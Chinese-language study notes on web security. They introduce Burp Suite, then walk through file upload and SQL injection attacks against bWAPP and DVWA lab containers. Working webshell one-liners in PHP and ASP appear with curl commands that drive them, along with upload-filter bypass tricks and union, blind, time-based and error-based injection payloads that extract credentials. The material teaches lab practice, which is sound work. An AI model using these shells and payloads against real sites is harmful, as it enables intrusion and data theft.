Web安全
Web安全工具
HackBar
Charset
Proxy SwitchySharp
Wappalyzer
https://www.wappalyzer.com/
BurpSuite
BurpSuite是用于攻击Web应用程序的集成平台框架。它包含了许多web安全相关工具,也同时设计了接口,满足安全人员自行扩展功能的需求。
BurpSuite功能
-
Proxy:是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人, 允许你拦截,查看,修改在两个方向上的原始数据流。
-
Intruder——是一个定制的高度可配置的工具,对web应用程序进行自动化攻击, 如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。
-
Repeater——是一个靠手动操作来补发单独的HTTP 请求,并分析应用程序响应的工具。
-
Sequencer——是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
-
Decoder——是一个进行手动执行或对应用程序数据者智能解码编码的工具。
-
Comparer——是一个实用的工具,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Mac下BurpSuite安装
https://portswigger.net/burp/communitydownload
配置HTTPS
chrome://settings/security
文件上传漏洞
文件上传(File Upload)例如:用户上传附件、改头像、分享图片、简历投递等。 文件上传漏洞是开发者没有做充足验证(包括前端、后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者WebShell等。
测试环境
docker pull raesene/bwapp
docker run -d -p 0.0.0.0:80:80 raesene/bwapp
访问:http://127.0.0.1:80/install.php
-
安装bwapp
-
文件上传
WebShell
-
PHP一句话木马
<?php @eval($_POST[“value”]);?>
-
ASP一句话木马
<%execute(request("value"))%>
-
ASPX一句话木马
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
-
其他一句话木马
<%eval request("value")%>
<%execute request("value")%> <%execute(request("value"))%>
编辑PHP木马文件并上传
-
eval
PHP4、PHP5、PHP7 eval ———— Evaluate a string as PHP code
Description
eval(string $code): mixed
<?php @eval($_POST['hacker']); ?>
-
上传Shell
-
使用curl 连接shell
curl -d "hacker=echo getcwd();" http://127.0.0.1/images/shell.php
curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php
-
使用postman连接
-
使用中国菜刀
https://github.com/raddyfiy/caidao-official-version
上传绕过
文件后缀绕过
-
为啥后缀为php3可以被识别为php脚本
https://httpd.apache.org/docs/2.4/
docker exec -it `docker ps | grep bwapp | awk -F ' ' '{print $1}'` bash
netstat -anlpt | grep 80
vim /etc/apache2/apache2.conf
cd /etc/apache2/mods-enabled
vim php5.conf
前端验证绕过、.htaccess绕过、大小写绕过
IIS 5.X/ 6.0解析漏洞
IIS在解析asp文件的时候,在IIS 5.X/ 6.0版本中会调用一个asp.dll动态链接库来解析我们要访问的文件资源时会触发这两种漏洞 逆向:使用IDA和F5插件逆向asp.dll就可以得到相关代码
-
漏洞1: 当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都会解析为asp文件
www.xxx.com/xx.asp/xx.jgp 会被解析成asp文件
-
漏洞2:服务器默认不解析";"以后的内容
www.xxx.com/xx.asp;.jpg 会被解析成为asp文件
Nginx解析漏洞
在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。 PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的。 当URL中有不存的文件时,PHP就会默认向前解析。
访问:wwww.xxx.com/phpinfo.jpg/1.php
当1.php不存在时就会解析phpinfo.jpg文件,但是按照PHP格式解析
Apache解析漏洞
Apache在1.x和2.x版本中存在解析漏洞: Apache从左至右开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,然后将该可识别后缀进行解析。
当访问www.xxx.com/shell.php.text
服务器会解析shell.php.text文件,但是按照PHP文件格式进行解析
前端验证绕过
漏洞利用:
-
使用BurpSuite抓包,然后修改内容后放行.
-
同Chrome禁止/删除js代码
.htaccess绕过
.htaccess文件(分布式配置文件)提供了一个方法,是的配置文件可以随文件夹不同而不同,其所防止的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。
漏洞利用:
1、上传一个.htaccess文件,文件内容设置为AddType application/x-httpd-php .test
将.text后缀文件解析为php文件类型 2、上传一句话木马文件,文件名设置为shell.test 3、在浏览器中访问shell.text即可执行一句话木马
大小写绕过
Window平台不区分大小写、Linux平台区分大小写 Linux+Apache 在系统启用加载speling模块,访问URL地址时就不区分大小写就可以正常访问页面
如: php改为pHp
Windows文件流特性绕过
什么是Windows文件流?
我们来用Windows平台做一些测试:
echo 111 > test.txt:111.txt
echo test > test.txt
echo 222 > test.txt::$data
-
notepad 打开创建的文件流
利用这个漏洞进行绕过及webshell上传
%00截断绕过
cat test.php >> test.png
php test.png
MySQL简介
SQL注入的危害
-
什么SQL注入
手工检测是否存在注入漏洞
-
and 1=1 及and 1=2 | and '1'= '1 及 and '1' = '2
-
-0
-
/
-
单引号
'
无论是str类型还是int类型都会因为单引号个数不匹配而报错,页面返回错误,则存在SQL注入
GET注入
-
源码
-
使用order by 探测当前查询列数
根据源码中SQL分析,查询movies表所有列,movies表一共有6列
order by 10 猜解下可能是10列
order by 7
使用union探测
列出表、用户、数据库
union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() --
爆出表字段名
union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' --
获取系统账户密码
union select 1,id,login,password,email,6,7 from users --
尝试逆向密码
https://www.cmd5.com/
POST注入
使用burp suite抓包
探测是否存在注入
五种注入类型
-
布尔型注入
-
联合查询注入
-
基于时间延迟注入
-
报错型注入
-
可多语句查询注入
布尔型注入
-
and 1=1
判断表
and exists (select * from admin)
判断表列明
and exists (select admin from admin)
判断用户名长度
and (select len(admin) from admin)=5 如果返回正常说明管理员账户的长度为5
判断密码长度
and (select len(password) from admin)=32 猜解管理密码长度是否为32
通过判断ascii码来判断(ASCII码表逐字猜解)
如:用户名是:admin
and (select top 1 asc(mid(database(),1,1)) from admin)>100
and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50 返回正常说明大于
and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常说明等于97 97对应的字母为a
and (select top 1 asc(mid(admin,2,1)) from admin)=100 返回正常说明等于100 97对应的字母为d
and (select top 1 asc(mid(admin,3,1)) from admin)=109 返回正常说明等于109 97对应的字母为m
and (select top 1 asc(mid(admin,4,1)) from admin)=105 返回正常说明等于105 97对应的字母为i
and (select top 1 asc(mid(admin,5,1)) from admin)=110 返回正常说明等于110 97对应的字母为n
如:密码是21232f297a57a5a743894a0e4a801fc3
and (select top 1 asc(mid(password,1,1)) from admin)=50
and (select top 1 asc(mid(password,2,1)) from admin)=49
时间延迟注入
-
时间盲注是什么?
通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功,如:SQL语句中使用sleep()函数看加载网页的时间来判断注入点。
适用场景:通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。
select * from users where id = 1 and sleep(5)
当id=1 存在时,休眠5秒 当id=1 不存在时,直接返回
页面不会返回错误信息,不出输出union注入所查询出来的泄露的信息。类似搜索这类请求,Boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用时间注入了,及判断请求响应的时间,但该类型注入获取的信息速度比较慢,请求次数比较多,纯手工非常复杂。
-
时间盲注常用函数
substr(a,b,c):从b位置开始,截取字符串a的c长度 count(): 计算总数 ascii():返回字符的ASCII码 length(): 返回字符串的长度 left(a,b): 从左往右截取字符串a的前b个字符 sleep(n): 将程序挂起n秒
http://192.168.26.129/sqli_15.php?title=abc' or sleep(3) -- &action=search
bool注入 猜解数据库名长度
http://192.168.26.129/sqli_15.php?title=World War z' and length(database()) > 1 and sleep(3) -- &action=search
http://192.168.26.129/sqli_15.php?title=World War z' and length(database()) = 5 and sleep(3) -- &action=search
and substr(database(),1,1)='b' and sleep(3)
and substr(database(),2,1)='w' and sleep(3)
and substr(database(),3,1)='a' and sleep(3)
and substr(database(),4,1)='p' and sleep(3)
and substr(database(),5,1)='p' and sleep(3)
爆出数据库名(编码)
and ascii(substr(database(),1,1)=98) and sleep(3)
and ascii(substr(database(),2,1)=98) and sleep(3)
and ascii(substr(database(),3,1)=98) and sleep(3)
and ascii(substr(database(),4,1)=98) and sleep(3)
and ascii(substr(database(),5,1)=98) and sleep(3)
报错型注入
如果页面能输出SQL报错信息,则可以从报错信息中获得想要的信息。 典型的就是利用group by的duplicate entry错误
多语句查询注入
?id=1;update t set name = 'a' where id=1
能够执行多条查询语句,非常危险。
HTTP头注入
user-agent-test', (select database())); #
源码分析
报错注入
MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入主要分为以下几类:
-
BigInt数据类型溢出;
-
-
count() + rand() + group_by()导致重复;
-
空间数据类型函数错误
导致MySQl报错并显示出数据的函数:
-
foor函数;
-
extractvalue函数;
-
updatexml函数;
-
exp()函数;
docker pull docker pull sagikazarmark/dvwa
docker run -d -p 0.0.0.0:81:80 docker pull sagikazarmark/dvwa
admin/password
http://192.168.26.129:81/vulnerabilities/sqli/?id=1' and extractvalue(1,concat(0x7e, (select @@version))) -- '&Submit=Submit#
http://192.168.26.129:81/vulnerabilities/sqli/?id=1' and extractvalue(1, concat(0x7e,(select user()),0x7e,(select database()))) -- '&Submit=Submit#
WAF绕过
-
混淆和绕过
普通的注入方式过于明显,很容易被检测。因此,需要改变攻击手法,绕过检测和过滤,即混淆和绕过。
使用union做测试,根据回显SQL分析, union关键字被过滤了
union关键字大小写转换,把union改为大写后,成功执行union语句
UNION select 1,database(),3,4,5,6,7 &action=go
MySQl执行SQL语句,对SQL指令是不区分大小写,对表名、库名敏感大小写,对表的列明大小写不敏感
||和&&绕过